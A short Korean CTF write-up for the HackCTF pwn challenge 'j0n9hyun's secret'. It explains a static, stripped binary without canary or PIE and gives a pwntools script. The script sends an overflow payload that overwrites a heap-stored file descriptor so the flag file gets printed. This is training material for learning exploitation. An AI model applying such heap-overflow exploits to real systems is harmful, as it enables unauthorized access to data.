pwn/HackCTF
jon9hyun's secret
lok2h4rd
2022. 3. 25. 02:29


카나리랑 PIE가 안 걸려있다
바이너리는 static compiled이고 stripped 되어있다...

이거본 순간 그대로 IDA 끄고 자러 갈 뻔했다

최대한 알아먹을 수 있게 함수명을 적어놓았다
main함수에서 힙 영역에 데이터를 입력받고 top_secret파일의 데이터를 출력한다

운이 좋았는지 처음에 심볼이 다 죽어있어서 strace로 실행시켜보는 과정에서 main함수 이전에 flag을 open하는걸 확인했다
from pwn import *
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3031)
#p = process("./j0n9hyun_secret")
#gdb.attach(p)
payload = b"A" * 0x138
payload += b"\x03"
p.recvuntil(b"input name: ")
p.sendline(payload)
p.interactive()
heap overflow를 통해 top_secret의 fd를 flag의 fd로 덮어서 write함수에서 flag가 출력시키도록 했다
